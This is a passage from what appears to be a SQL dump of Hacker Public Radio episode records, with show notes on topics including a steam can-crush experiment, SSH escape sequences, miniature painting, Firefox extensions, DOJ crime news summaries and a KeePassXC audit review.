cooker where you will heat your can.</p>\n\n<p>Put about a centimetre (half an inch) of cool water in the tray.</p>\n\n<h4>Step 3:</h4>\n\n<p>Place your can on the heat. It will quickly begin to boil because it only contains a small amount of water.</p>\n\n<p>Wait until the water is really boiling and filling the can with steam.</p>\n\n<p>Grasp the can with the tongs. You need to do this in an underhand grip which will allow you to, in one swift and smooth motion, remove the can from the heat, turn it over and plunge the open end into the cool water in the tray.</p>\n\n<p>Do exactly that. As swiftly and smoothly as you can.</p>\n\n<p>Here you will see the need for a vessel like a baking tray, the larger target makes the quick and smooth transfer of the can from the heat to the condensing cool water easier.</p>\n\n<p>What happens?</p>\n\n<p>The can is full of steam, which will instantly condense when the open end of the can is plunged into the cool water.</p>\n\n<p>Bam!</p>\n\n<p>The partial vacuum created in the can will cause it to be very quickly and impressively crushed.</p>\n\n<p>The power of a partial vacuum is far easier to harness and is more powerful than pushing a piston along a cylinder with pressurised steam.</p>\n\n<p>The mechanism of an efficient steam engine will inject pressurised steam into a cylinder during the phase of motion where the piston is pushed up the length of the cylinder, and inject a small amount of cold water into the cylinder fractionally after the full travel of the piston and as it is just beginning the return stroke. In this way the cylinder is both pushed and pulled up and down the cylinder.</p>\n\n<p>But the condensing part of the cycle is far more efficient at pulling the piston than the steam injection phase is at pushing it.</p>\n\n<p>The dramatic \'chugging\' of a steam engine as it pulls away from a station is the part of the sequence in which condensing steam is used to create a partial vacuum in the smoke-box at the front of the engine. The hot products of combustion are drawn by this partial vacuum from the fire at the far end of the engine, through the pipes which pass through the boiler, increasing the efficiency of the heating of the water. The same partial vacuum is also used to increase the draft of air into the furnace.</p>\n\n<p>It is mostly the rush of clean air into the furnace, drawn by the partial vacuum, which gives rise to the deep and pleasing heart-beat of a big powerful engine as it works hard to move a heavy train from a standing start.</p>\n\n<p>Mike</p>\n\n',282,0,0,'CC-BY-SA','steam, condensing, vacuum, demonstrate, experiment',0,0,1),
(3849,'2023-05-04','trouble shooting',610,'don\'t over look the obvious','<p><em>Kernel message</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3849/01.kernel_message.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3849/01.kernel_message_thumbnail.kernel_message.jpg\"\nalt=\"Kernel message\" /></a> <br/><small><small><em>Click the thumbnail\nto see the full-sized image</em></small></small></p>\n<p><em>BIOS message</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3849/02.bios_message.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3849/02.bios_message_thumbnail.bios_message.jpg\"\nalt=\"BIOS message\" /></a> <br/><small><small><em>Click the thumbnail to\nsee the full-sized image</em></small></small></p>\n<p><em>CMOS</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3849/03.cmos.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3849/03.cmos_thumbnail.cmos.jpg\"\nalt=\"CMOS\" /></a> <br/><small><small><em>Click the thumbnail to see the\nfull-sized image</em></small></small></p>\n<p><em>RAM</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3849/04.ram.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3849/04.ram_thumbnail.ram.jpg\"\nalt=\"RAM\" /></a> <br/><small><small><em>Click the thumbnail to see the\nfull-sized image</em></small></small></p>\n<p><em>Mother board side</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3849/05.mother_board_side.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3849/05.mother_board_side_thumbnail.mother_board_side.jpg\"\nalt=\"Mother board side\" /></a> <br/><small><small><em>Click the\nthumbnail to see the full-sized image</em></small></small></p>\n<p><em>The culprit</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3849/06.the_culprit.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3849/06.the_culprit_thumbnail.the_culprit.jpg\"\nalt=\"The culprit\" /></a> <br/><small><small><em>Click the thumbnail to\nsee the full-sized image</em></small></small></p>\n',326,0,0,'CC-BY-SA','repair, trouble shooting',0,0,1),
(3855,'2023-05-12','SSH (or OpenSSH) Escape Sequences',592,'Claudio talks about OpenSSH escape sequence features.','<ul>\n<li>BSD Now Episode 504: <a href=\"https://www.bsdnow.tv/504\"\nclass=\"uri\">https://www.bsdnow.tv/504</a></li>\n<li>Closing a Stale SSH Connection: <a\nhref=\"https://davidisaksson.dev/posts/closing-stale-ssh-connections/\"\nclass=\"uri\">https://davidisaksson.dev/posts/closing-stale-ssh-connections/</a></li>\n<li>Using the SSH \"Konami Code\" (OpenSSH Control Sequences): <a\nhref=\"https://www.sans.org/blog/using-the-ssh-konami-code-ssh-control-sequences/\"\nclass=\"uri\">https://www.sans.org/blog/using-the-ssh-konami-code-ssh-control-sequences/</a></li>\n</ul>\n',152,0,0,'CC-BY-SA','openssh,ssh,bsd,linux,openbsd,netbsd,freebsd',0,0,1),
(3856,'2023-05-15','Painting toy soldiers',2174,'I started painting miniatures for wargames','<p>Here are the games I started painting first:</p>\n<ul>\n<li>\n<a href=\"https://boardgamegeek.com/boardgame/181304/mysterium\" target=\"_blank\">Mysterium</a>&#58; I don\'t actually like this game, but it nevertheless provided some simple plastic crystal balls that became my first paint experience.\n</li>\n<li>\n<a href=\"https://boardgamegeek.com/boardgame/192153/pandemic-reign-cthulhu\" target=\"_blank\">Pandemic: Reign of Cthulhu</a>&#58; A great game that ships with 6 hero figures and 3 shogoth figures. Very fun to paint, and I mostly used mostly cheap acrylic paint from the local art store.\n</li>\n<li>\n<a href=\"https://boardgamegeek.com/boardgame/66356/dungeons-dragons-wrath-ashardalon-board-game\" target=\"_blank\">Dungeons & Dragons: Wrath of Ashardalon Board Game</a>&#58; D&amp;D combat game with 40 miniatures of varying sizes and complexity. Really good source of cheap miniatures so you can get lots of painting practise (and you can use the miniatures in your roleplaying games and the board game).\n</li>\n</ul>\n\n<p>I have no prior experience with paint of any kind, but here are some of the resources I mentioned in the show.</p>\n\n<ul>\n<li>\nSince recording, I have invested in <a href=\"https://www.thearmypainter.com/basic-painting/spray/using-colour-primers/\" target=\"_blank\">spray-on primer</a> over the paint-on primer I mention in the episode.\n</li>\n<li>\nI\'ve been buying mostly <a href=\"https://www.games-workshop.com/en-NZ/searchResults?N=2429428449+3891072176&Nr=AND%28sku.siteId%3ANZ_gw%2Cproduct.locale%3Aen_NZ_gw%29&Nrs=collection%28%29%2Frecord%5Bproduct.startDate+%3C%3D+1683371400000+and+product.endDate+%3E%3D+1683371400000%5D\" target=\"_blank\">Citadel contrast paints</a> because they\'re readily available in New Zealand from the <strong>Warhammer</strong> (<strong>Games Workshop</strong>, in the UK) store.\n</li>\n<li>\n<a href=\"https://www.thearmypainter.com/speedpaint/\" target=\"_blank\">Speedpaint</a> by <strong>The Army Painter</strong> are similar but maybe cheaper depending on your region.</li>\n</ul>\n',78,0,0,'CC-BY-SA','game,rpg,wargame,board game,miniature,painting',0,0,1),
(4131,'2024-06-03','HPR Community News for May 2024',0,'HPR Volunteers talk about shows released and comments posted in May 2024','',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3859,'2023-05-18','My Live in Devices',1305,'Just a run down on my devices','<p>A talk about things that attracted me to purchase them.</p>\n',129,0,0,'CC-BY-SA','Tablet,headphones,PCs,Laptops,Linux,Ubuntu,Lubuntu',0,0,1),
(3861,'2023-05-22','How To find Things on your home Network',707,'How to find the lost Raspberry PI Zero on your home network','<p>Hey guys I lost my Raspberry Pi Zero W - its place in the house. I am\nnot sure if it\'s on solar power running or not. But in in any case it\'s\nnot out and about at the normal locations in my home for such items.</p>\n<p>So I use an App called Network Analyzer on my Huawei phone to find\nthe IPs in use in the home.</p>\n<p>Then use putty go and see how the PI is doing.</p>\n<p>Enjoy the Show</p>\n',129,0,0,'CC-BY-SA','Raspberry PI Zero W, android phone, Network Analyzer, putty, kitty',0,0,1),
(3868,'2023-05-31','News.',695,'Sgoti reports the recent FBI criminal reports and other news.','<h2 id=\"news.\">News.</h2>\n<hr />\n<ul>\n<li><p><strong>If you like it, help me name it.</strong></p></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.justice.gov/usao-mdpa/pr/cambria-county-woman-charged-conspiracy-commit-health-care-fraud\"\ntitle=\"Conspiracy to commit health care fraud for defrauding Medicare.\">Cambria\nCounty Woman Charged With Conspiracy To Commit Health Care\nFraud.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> U.S. Attorney\'s Office, Middle District of\nPennsylvania. (2023, May 11).<br />\n</li>\n<li>The United States Attorney&#x2019;s Office for the Middle District of\nPennsylvania announced that Florentina Mayko, age 39, of Cambria County,\nPennsylvania, was charged by criminal information with one count of\nconspiracy to commit health care fraud for defrauding Medicare and the\nU.S. Department of Health and Human Services between 2017 and\n2019.<br />\n</li>\n</ul></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.justice.gov/usao-edny/pr/congressman-george-santos-charged-fraud-money-laundering-theft-public-funds-and-false\"\ntitle=\"U.S. Attorney&#39;s Office, Eastern District of New York.\">Congressman\nGeorge Santos Charged with Fraud, Money Laundering, Theft of Public\nFunds, and False Statements.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> U.S. Attorney\'s Office, Eastern District of\nNew York. (2023, May 10).<br />\n</li>\n<li>A 13-count indictment was unsealed today in the United States\nDistrict Court for the Eastern District of New York charging George\nAnthony Devolder Santos, better known as &#x201C;George Santos,&#x201D; a United\nStates Congressman representing the Third District of New York, with\nseven counts of wire fraud, three counts of money laundering, one count\nof theft of public funds, and two counts of making materially false\nstatements to the House of Representatives.<br />\n</li>\n</ul></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.justice.gov/usao-nj/pr/new-york-man-admits-credit-card-fraud\"\ntitle=\"U.S. Attorney&#39;s Office, District of New Jersey\">New York Man\nAdmits Credit Card Fraud.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> U.S. Attorney\'s Office, District of New\nJersey. (2023, May 10).<br />\n</li>\n<li>During 2015, Lourenco opened 23 credit cards using the identities of\nthree victims he had befriended, two of whom were senior citizens.\nLourenco&#x2019;s victims did not know he was using their identities to obtain\nthe credit cards, nor did they authorize Lourenco to obtain the credit\ncards. Lourenco used the 23 credit cards to make more than $423,000 in\nunauthorized purchases. He also used the debit card for a joint bank\naccount belonging to two of the victims to make an additional $57,000 in\nunauthorized charges. Lourenco admitted that he knew at least one of his\nvictims was a vulnerable victim when he used the victim&#x2019;s identity to\ncommit his crime.<br />\n</li>\n</ul></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.justice.gov/usao-edok/pr/okmulgee-county-resident-sentenced-brutal-murder-0\"\ntitle=\"U.S. Attorney&#39;s Office, Eastern District of Oklahoma\">Okmulgee\nCounty Resident Sentenced For Brutal Murder.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> U.S. Attorney\'s Office, Eastern District of\nOklahoma. (2023, May 9).<br />\n</li>\n<li>Lewis pleaded guilty to Murder in Indian Country&#x2014;Second Degree on\nSeptember 30, 2021. The investigation of the case revealed Lewis beat\nthe victim to death with a television and a coat rack after an evening\nof drinking at the victim&#x2019;s apartment. Police investigating an Emergency\nMedical Services call discovered the victim lying on the floor of his\napartment and Lewis covered in the victim&#x2019;s blood.<br />\n</li>\n</ul></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://www.justice.gov/usao-edtx/pr/california-man-convicted-health-care-kickback-conspiracy\"\ntitle=\"U.S. Attorney&#39;s Office, Eastern District of Texas\">California\nMan Convicted of Health Care Kickback Conspiracy.</a><br />\n</p>\n<ul>\n<li><strong>Author:</strong> U.S. Attorney\'s Office, Eastern District of\nTexas. (2023, May 9).<br />\n</li>\n<li>According to information presented in court, Donofrio conspired with\nothers to pay and receive kickbacks in exchange for the referral of, and\narranging for, health care business, specifically pharmacogenetic (PGx)\ntests. Pharmacogenetic testing, also known as pharmacogenomic testing,\nis a type of genetic testing that identifies genetic variations that\naffect how an individual patient metabolizes certain drugs. The illegal\narrangement concerned the referral of PGx tests to clinical laboratories\nin Fountain Valley, California; Irvine, California; and San Diego,\nCalifornia. More than $28 million in illegal kickback payments were\nexchanged by those involved in the conspiracy.<br />\n</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>License:</strong> <a\nhref=\"https://creativecommons.org/licenses/by-sa/4.0/legalcode\">Creative\nCommons Attribution-ShareAlike 4.0 International</a><br />\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-sa/4.0/88x31.png\" /></a><br />This\nwork is licensed under a\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-sa/4.0/\">Creative\nCommons Attribution-ShareAlike 4.0 International License</a>.</li>\n</ul>\n',391,0,1,'CC-BY-SA','Fraud, identity theft, murder, crime, conspiracy',0,0,1),
(3862,'2023-05-23','Firefox Extensions',618,'Archer72 Goes over extensions used on the Desktop and yes, Mobile too.','<h3 id=\"firefox-plugins\">Firefox plugins</h3>\n<p><em><em>uBlock Origin</em></em></p>\n<p><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/ublock-origin\"\ntitle=\"uBlock Origin ad blocker\">uBlock Origin ad blocker</a></p>\n<p>Finally, an efficient blocker. Easy on CPU and memory.</p>\n<p><em><em>I don\'t care about cookies</em></em></p>\n<p><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/i-dont-care-about-cookies\"\ntitle=\"I don&#39;t care about cookies\">I don\'t care about\ncookies</a></p>\n<p>Get rid of cookie warnings from almost all websites!</p>\n<p><em><em>Bitwarden - Free Password Manager</em></em></p>\n<p><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/bitwarden-password-manager\"\ntitle=\"Bitwarden\">Bitwarden</a></p>\n<p>A secure and free password manager for all of your devices.</p>\n<p><em><em>Dark Reader</em></em></p>\n<p><a href=\"https://addons.mozilla.org/en-US/firefox/addon/darkreader\"\ntitle=\"Convert pages to Dark Mode\">Convert pages to Dark Mode</a></p>\n<p>Dark mode for every website. Take care of your eyes, use dark theme\nfor night<br />\nand daily browsing. This eye-care extension enables night mode creating\ndark<br />\nthemes for websites on the fly. Dark Reader inverts bright colors making\nthem<br />\nhigh contrast and easy to read at night.</p>\n<p>You can adjust brightness, contrast, sepia filter, dark mode, font\nsettings and<br />\nignore-list.</p>\n<p>Dark Reader doesn\'t show ads and doesn\'t send user\'s data anywhere.\nIt is fully<br />\nopen-source</p>\n<p><a href=\"https://github.com/darkreader/darkreader\"\ntitle=\"Github page for Dark Reader\">Github page for Dark Reader</a></p>\n<p><em><em>ChatGPTBox</em></em></p>\n<p><a href=\"https://addons.mozilla.org/en-US/firefox/addon/chatgptbox\"\ntitle=\"ChatGPT Extension\">ChatGPT Extension</a></p>\n<p>Integrating ChatGPT into your browser</p>\n<p><em><em>Custom Video Speed for YouTube</em></em></p>\n<p><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/custom-youtube-speed\"\ntitle=\"Extension to control Youtube speed\">Extension to control Youtube\nspeed</a></p>\n<p>Change the current &amp; default speed of YouTube&#x2122; videos by steps of\n0.1 from 0.1<br />\nup to 8.0 using sliders, buttons, and/or the keyboard.</p>\n<p><em><em>SponsorBlock for YouTube - Skip Sponsorships</em></em></p>\n<p><a href=\"https://addons.mozilla.org/en-US/firefox/addon/sponsorblock\"\ntitle=\"Block sponsors for Youtube videos\">Block sponsors for Youtube\nvideos</a></p>\n<p>Skip sponsorships, subscription begging and more on YouTube videos.\nReport<br />\nsponsor on videos you watch to save others\' time. SponsorBlock lets you\nskip<br />\nover sponsors, intros, outros, subscription reminders, and other\nannoying parts<br />\nof YouTube videos. SponsorBlock is a crowdsourced browser extension that\nlets<br />\nanyone submit the start and end times of sponsored segments and other\nsegments<br />\nof YouTube videos. Once one person submits this information, everyone\nelse with<br />\nthis extension will skip right over the sponsored segment.</p>\n<p>You can also skip over non music sections of music videos.</p>\n<p>Supports Invidious, old YouTube and mobile YouTube.</p>\n<p><em><em>Tab Stash</em></em></p>\n<p><a href=\"https://addons.mozilla.org/en-US/firefox/addon/tab-stash\"\ntitle=\"Extension to stash tabs in a timestamped sidebar\">Extension to\nstash tabs in a timestamped sidebar</a></p>\n<p>A no-fuss way to save and restore batches of tabs as bookmarks.</p>\n<p><em><em>Tridactyl</em></em></p>\n<p><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/tridactyl-vim\"\ntitle=\"Extension to browse Firefox with vim keybindings\">Extension to\nbrowse Firefox with vim keybindings</a></p>\n<p>Vim, but in your browser. Replace Firefox\'s control mechanism with\none modelled<br />\non Vim. This addon is very usable, but is in an early stage of\ndevelopment. We<br />\nintend to implement the majority of Vimperator\'s features. Control your\nbrowser<br />\nwith your keyboard only. Replace Firefox&#x2019;s control mechanism with one\nmodelled<br />\non VIM. Most common tasks you want your browser to perform are bound to\na<br />\nsingle key press.</p>\n<h3 id=\"mobile-firefox-beta\"><em><em>Mobile Firefox Beta</em></em></h3>\n<p><a\nhref=\"https://play.google.com/store/apps/details?id=org.mozilla.firefox_beta\"\ntitle=\"Firefox Beta for Android\">Firefox Beta for Android</a></p>\n<p><a href=\"https://addons.mozilla.org/en-US/firefox\"\ntitle=\"Firefox Extensions page\">Firefox Extensions page</a></p>\n<h3 id=\"mobile-plugins\">Mobile plugins</h3>\n<p><em><em>Bitwarden</em></em></p>\n<p><em><em>Dark Reader</em></em></p>\n<p><em><em>I don\'t care about cookies</em></em></p>\n<p><em><em>SponsorBlock</em></em></p>\n<p><em><em>uBlock Origin</em></em></p>\n<p><em><em>Adjust Playback Speed (Youtube Playback Speed)</em></em></p>\n<p><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/youtube-playback-speed\"\ntitle=\"Firefox extension to change playback speed\">Firefox extension to\nchange playback speed</a></p>\n<p><a\nhref=\"https://hackerpublicradio.org/eps/hpr3862/Screenshot_20230512-203233-900.png\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3862/Screenshot_20230512-203233-900_tn.png\"\ntitle=\"Example of changing Youtube playback speed\"\nalt=\"Example of changing Youtube playback speed\" /></a></p>\n<p><em><em>Video Background Play Fix</em></em></p>\n<p><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/video-background-play-fix\"\ntitle=\"Firefox extension to fix background playback on mobile\">Firefox\nextension to fix background playback on mobile</a></p>\n<ul>\n<li>Works on Youtube and Invidious\n<ul>\n<li>https://invidious.nerdvpn.de</li>\n<li>https://docs.invidious.io/instances</li>\n</ul></li>\n</ul>\n<p><a\nhref=\"https://hackerpublicradio.org/eps/hpr3862/Screenshot_20230512-203159-556.png\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3862/Screenshot_20230512-203159-556_tn.png\"\ntitle=\"Mobile plugins screenshot\"\nalt=\"Mobile plugins screenshot\" /></a></p>\n<h4 id=\"example\">Example</h4>\n<p><em><em>Adding an extension to a collection</em></em></p>\n<p><a\nhref=\"https://hackerpublicradio.org/eps/hpr3862/Screenshot_from_2023-05-12_10-21-19.png\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3862/Screenshot_from_2023-05-12_10-21-19_tn.png\"\ntitle=\"Adding an extension to a collection\"\nalt=\"Adding an extension to a collection\" /></a></p>\n<p><a\nhref=\"https://addons.mozilla.org/en-US/firefox/addon/simple-translate\"\ntitle=\"Firefox extension to provide language translation\">Firefox\nextension to provide language translation</a></p>\n<p><a\nhref=\"https://hackerpublicradio.org/eps/hpr3862/Screenshot_20230512-203051-774.png\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3862/Screenshot_20230512-203051-774_tn.png\"\ntitle=\"Example to add an extension to mobile\"\nalt=\"Example of adding an extension on mobile\" /></a></p>\n',318,0,0,'CC-BY-SA','Firefox, Extensions, Mobile, Android, Privacy, vim',0,0,1),
(3865,'2023-05-26','When did the Internet get so boring?',1912,'Thoughts about the modern WWW','<p>You can run a Gopher or Gemini site on <a href=\"http://sdf.org/\" target=\"_blank\">SDF</a></p>\n\n<p>You can see some Gemini sites on <a href=\"https://portal.mozz.us/gemini/gem.sdf.org/\" target=\"_blank\">gem.sdf.org</a></p>\n\n',78,99,0,'CC-BY-SA','gopher,gemini',0,0,1),
(3867,'2023-05-30','Leap 15.4 Docker Install',623,'Install Leap 15.4 and Docker on an Fuji SN900 Thin Client','<p>Hi Team hope you guys are great.<br />\nI did an upgrade from 15.3 to 15.4 in leap.</p>\n<p>Then I installed docker.</p>\n<p>The hello word container</p>\n<p>And then the ubuntu bash container.</p>\n<p>https://en.opensuse.org/Docker<br />\nhttps://github.com/nextcloud/docker<br />\nhttps://doc.owncloud.com/server/10.12/admin_manual/installation/docker/</p>\n',129,0,0,'CC-BY-SA','leap, docker, 15.3, 15.4, suse, ubuntu',0,0,1),
(3876,'2023-06-12','Recording An Episode For Hacker Public Radio',478,'Sharing My Experience As A First-Time Contributor','<p>Hello again, my name is Andr&#xE9; Jaenisch, also known as Ryuno-Ki.</p>\n<p>Last week I recorded my first episode for Hacker Public Radio, the\npodcast you are listening to right now. This one is recorded on 15th May\n2023. Again I\'m publishing it under a Creative Commons Attribution\nShare-Alike 4.0 International License.</p>\n<h2 id=\"getting-contacted\">Getting contacted</h2>\n<p>I was surprised to get mentioned on the Fediverse after submitting my\nshow. You can find me there at RyunoKi@layer8.space (no dash, eight as\ndigit, link in the shownotes) in case you want to reach out to me.</p>\n<p>I\'m also delighted to have received an email even before my last\nepisode was airing. I was asked whether I am interested in recording an\nepisode on my experience with contributing to Hacker Public Radio for\nthe first time. So this is going to be the topic for today. As a warning\nupfront: I have a reputation of overthinking stuff. I blame my\nneurodiversity for it. That being said I\'m positive that sharing my\nthought process can help make the service better for everyone.</p>\n<h2 id=\"about-recording-software\">About recording software</h2>\n<p>I\'m recording this episode again using Audacity. Now there is choice\nabout which software you can use for a podcast. Online based as well as\noffline one. Audacity was in the news for sending analytics home.\nHowever I couldn\'t find any indication in the settings for it (to\nopt-out). The forks of the software weren\'t packaged up for Debian as\nfar as I could tell. Or perhaps they require an additional sources.list\nentry, I don\'t know.</p>\n<p>Before recording my very first podcast here I had only experience\nwith some video recording. Oftentimes done by the host but I also\nprepared a few videos for an online course (which I couldn\'t publish\nbecause life happened) and talks I gave during the pandemic years.</p>\n<h2 id=\"learning-about-how-to-podcast\">Learning about how to\npodcast</h2>\n<p>As I often do when I enter a new subject, I went to the library and\ngrabbed some books to learn more. In particular I lended Podcasts by\nDirk Hildebrand. A <a href=\"https://shop.haufe.de/prod/podcasts\">small\nbook</a> in German published at Haufe. I add a link in the\nshownotes.</p>\n<p>Reading through it I learned that I\'m doing okay. It\'s really easy to\nstart a podcast as HPR promises! The thing I should spend some attention\non is keeping a consistent distance to the microphone, enable some level\nof feedback during the recording so that I can listen to what is\nrecorded while speaking (using my gaming headset Logitech G230) and\nprepare a script.</p>\n<p>I don\'t have to think about designing images for the show or episode\nbecause HPR will take care of that for me. It might be different if I\nstart my own podcast. Perhaps using <a\nhref=\"https://funkwhale.audio/\">Funkwhale</a> or <a\nhref=\"https://castopod.org/\">Castopod</a>. Right now I\'m not taking\nsteps towards that. Mainly because I need to rent some webspace first.\nIn my experience streaming media takes considerable amount of bandwidth.\nPair that with hosters that try hard to convince you to buy your domains\nwith them as well and the choice shrinks. I have my DNS provider\nalready, thank you very much.</p>\n<h2 id=\"adapting-lessons-learned\">Adapting lessons learned</h2>\n<p>I looked into how to do that in Audacity and I think the best I could\ndo for now is hitting on the microphone icon next to the meters in the\nupper right of the interface and enable observation before I start\nrecording. Also leaving a little bit of time before and after the\nrecording allows me to cut keyboard clicks for starting and stopping the\nrecording. In HPR 3802 I also learned about skipping silences which is a\nEffect in the Special category here. I hope I don\'t have pauses so long\nthat it warrants to truncate them.</p>\n<p>My main thought about going with Audacity was post-processing\ndirectly after the recording. I learned from my talks that I already\nfeel comfortable with a script in front of me. It gives me the security\nI need to avoid too many ums.</p>\n<h2 id=\"whats-missing-on-hpr\">What\'s missing on HPR</h2>\n<p>However, I feel like a few things are missing. Considering that this\nis a podcast that is distributed through HPR and its partners I would\nlike to have chapter markers. I couldn\'t find a hint on how to add them\nin the form I was presented. Using timestamps it allows to easily see\nthe outline of a recording which aids in the decision making process on\nwhether it\'s worth the time to listen to a particular episode. I hope\nyou consider the episodes here useful to make time for them :) Thank\nyou.</p>\n<p>Another question mark I had when preparing the recording were the\nsettings. I\'m used to have a guideline when recording videos for an\nonline talk. Things like preferred format and container, to technical\ndetails like stereo or mono to the sampling rate (value and whether\nstatic or variable). The only thing I found is a hint that submissions\nwill be transcoded to mono. I record in stereo with the default 44,1 kHz\nsampling rate here. There was no recommendations on the format so I went\nwith OGG Vorbis instead of MP3 because of license freedom. Audacity\nappear to not support FLAC so I have to use a lossy format. It\'s true\nthat MP3 enjoys wide support, but I want to encourage freedom when given\nthe choice. I could have chosen WAV files but those tend to become huge\nreally fast.</p>\n<h2 id=\"adding-metadata\">Adding metadata</h2>\n<p>Now I also add metadata to the recording. Vorbis offers comments for\nthat. You can compare it to ID3 tags for MP3 files. Given that I\ncouldn\'t find a way to enter these chapter information in HPR web forms\nI\'m experimenting with EasyTAG from the debian repository. From reading\nthe source code of my podcatcher of choice (AntennaPod for Android as\ndistributed in the F-Droid app store) I can tell that it parses these\ncomments at least. If that doesn\'t yield results I hope to see, there is\nvorbiscomment of the vorbis-tools package for the command line. And Kid3\nwith a Qt or CLI interface. Expect some slightly different metadata by\nme over the course of my contributions.</p>\n<h3 id=\"writing-shownotes\">Writing shownotes</h3>\n<p>Last thing I want to highlight before ending this episode is\nshownotes. Now I have more experience with blogging than recording a\npodcast. When researching recommendations online there is all this SEO\nfluff that goes into writing subtitles. Usually with catchy titles,\nclickbait and all the rest. I have opinions here. However, I enjoy that\nthere is no &#x201E;leave a rating and a review&#x201D; part in the episodes I\nlistened to so far, because a podcast is a special RSS feed basically.\nWhy would I want to bind myself to a special platform? But then I also\nwant to be able to read up and search through the content of a podcast\nepisode. Right now I\'m sharing my prepared script as a shownote. It\ncould come off as a wall of text. I\'m open to feedback on this front.\nYou can find my Keyoxide profile below. Please do reach out to me.</p>\n<h2 id=\"closing\">Closing</h2>\n<p>And that\'s it for today. I thank you for listening to me. Looking\nforward to hear from you. Be it in writing or as an episode on HPR.</p>\n<p>Homepage: <a href=\"https://jaenis.ch/\">jaenis.ch</a><br />\nE-Mail: <a\nhref=\"mailto:andre.jaenisch.wdc@posteo.net\">andre.jaenisch.wdc@posteo.net</a><br />\nKeyoxide: <a\nhref=\"https://keyoxide.org/andre.jaenisch%40posteo.de\">andre.jaenisch@posteo.de</a><br />\nMastodon: <a href=\"https://layer8.space/@RyunoKi\"><span class=\"citation\"\ndata-cites=\"RyunoKi\">@RyunoKi</span><span class=\"citation\"\ndata-cites=\"layer8.space\">@layer8.space</span></a></p>\n',419,0,0,'CC-BY-SA','hpr,reflection,audacity,recording,metadata',0,0,1),
(3877,'2023-06-13','KeePass X.C. audit review.',2552,'Sgoti discusses the Keepass X.C. audit by Zaur Molotnikov','<ul>\n<li><p><strong>Article:</strong> <a href=\"https://keepassxc.org/\"\ntitle=\"Completely open source under the GPLv3 license.\">KeePassXC -\nCross-platform Password Manager.</a><br />\n</p></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://keepassxc.org/assets/pdf/KeePassXC-Review-V1-Molotnikov.pdf\"\ntitle=\"Author: Zaur Molotnikov, zaur@molotnikov.de\">KeePassXC\nApplication Security Review</a><br />\n</p>\n<ul>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://github.com/keepassxreboot/keepassxc/releases/tag/2.7.4\"\ntitle=\"Release 2.7.4\">KeePassXC Release 2.7.4</a><br />\n</li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://github.com/keepassxreboot/keepassxc/releases/tag/2.7.5\"\ntitle=\"Release 2.7.5\">KeePassXC Release 2.7.5</a><br />\n</li>\n</ul></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://keepassxc.org/docs/KeePassXC_UserGuide\"\ntitle=\"KeePassXC Team team@keepassxc.org version 2.7.1\">KeePassXC: User\nGuide.</a><br />\n</p></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Magic_(cryptography)\"\ntitle=\"From Wikipedia, the free encyclopedia\">Magic\n(cryptography).</a><br />\n</p></li>\n<li><p><strong>Article:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Federal_Information_Processing_Standards\"\ntitle=\"From Wikipedia, the free encyclopedia\">Federal Information\nProcessing Standards.</a><br />\n</p>\n<ul>\n<li>The Federal Information Processing Standards (FIPS) of the United\nStates are a set of publicly announced standards that the National\nInstitute of Standards and Technology (NIST) has developed for use in\ncomputer systems of non-military, American government agencies and\ncontractors. FIPS standards establish requirements for ensuring computer\nsecurity and interoperability, and are intended for cases in which\nsuitable industry standards do not already exist. Many FIPS\nspecifications are modified versions of standards the technical\ncommunities use, such as the American National Standards Institute\n(ANSI), the Institute of Electrical and Electronics Engineers (IEEE),\nand the International Organization for Standardization (ISO).<br />\n</li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://www.nist.gov/itl/fips-general-information\"\ntitle=\"The National Institute of Standards and Technology (NIST)\">FIPS\nGeneral Information.</a><br />\n</li>\n<li>FIPS are standards and guidelines for federal computer systems that\nare developed by National Institute of Standards and Technology (NIST)\nin accordance with the Federal Information Security Management Act\n(FISMA) and approved by the Secretary of Commerce. These standards and\nguidelines are developed when there are no acceptable industry standards\nor solutions for a particular government requirement. Although FIPS are\ndeveloped for use by the federal government, many in the private sector\nvoluntarily use these standards.<br 